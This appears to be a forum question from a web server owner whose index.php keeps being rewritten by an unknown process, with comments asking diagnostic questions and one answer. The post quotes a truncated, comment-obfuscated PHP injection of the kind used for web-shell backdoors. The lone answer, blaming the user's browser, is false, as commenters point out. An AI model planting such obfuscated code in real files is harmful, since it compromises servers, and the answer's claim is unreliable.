0

A process seems to have gained control of my system and it has edited a couple of files in the root folder of my web application, for example, index.php.

I have tried to restore these files, but the uninvited process has changed the permissions to "read-only"

I have tried the following:

Change owner/permissions and then try editing the file.
Result: Both owner and permissions are changed back automatically

Change owner/permissions and then try deleting the file
Result: The file appears to be deleted but is recreated again with the same edited content a millisecond later

Also experimented with auditctl to monitor the file, but without success as it only logs my commands on the file and nothing from the other process

So my questions are how do I get control of the file and how can I detect the process causing this so I can shut it down? Any suggestions on what I can try to do?


UPDATE:

When I use "chmod" and then check "ls -l" I see that my changes have been applied. But then when I check "ls -l" again after I try to edit or delete the files, the changes I made with chmod are restored.

I know it is possible to delete the file (for a few milliseconds) because I tried spamming "rm" several times in a row and if I was fast enough I finally got the message: "No such file or directory".

I don't know if the process only edits files in the website folder, but that's where I've noticed it.

I suspect my host as my application offers a competing service, but I'm not sure. Even though, shouldn't I be able to get control of the file/process as I have root access?

Original file:

<?php include 'pages/home/home.php'; ?>

Edited file:

<?php /*-wxD=-*/error_reporting(0); $TlQa /*-DZ@mPZJ(C>cyqBG[-*/=/*-;z4tQE}FbYQPgp3Df_f-*/ "ra"./*-e6wxBt3m.2MGhvLXW-*/>include 'pages/home/home.php';
13
  • "a couple of files" – What are the pathnames? Nov 16, 2023 at 5:25
  • Does the process create the index.php from scratch or is it modifying one that you have already put there? If it creates it from scratch can you post it here in your question? (Copy and paste, then use the {} button to mark it as code.) Nov 16, 2023 at 8:16
  • 1. Is the unknown process creating files only in your website area, or have you noticed files being created elsewhere in the filesystem? Nov 16, 2023 at 9:34
  • 2. If you stop the webserver service does the unknown process stop recreating the index.php file? Nov 16, 2023 at 9:35
  • 3. If you reboot the system does the unknown process stop recreating the index.php file? Nov 16, 2023 at 9:35

1 Answer 1

-2

Your own browser is installing this as content from any Joomla site you visit.

The Joomla! documentation (base page docs.joomla.org/Main_Page has a search option - try index.php) states:

The index.php file is the skeleton of the website. Every page that Joomla! delivers is index.php fleshed out with content inserted from the database.

Because Joomla! is written in PHP, index.php is the automatically-served file. To further complicate things, when a user navigates to the Joomla website, the index.php of the root directory redirects to the index.php of the current template.

2
  • A browser can't install anything on a server. Op is taking about files in their webroot, not URLs Nov 16, 2023 at 10:51
  • 2
    Paul you're misunderstanding Joomla!'s documentation. It's saying that the index.php is executed on the server to generate an HTML page (of HTML code), not that the index.php is physically modified Nov 16, 2023 at 11:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .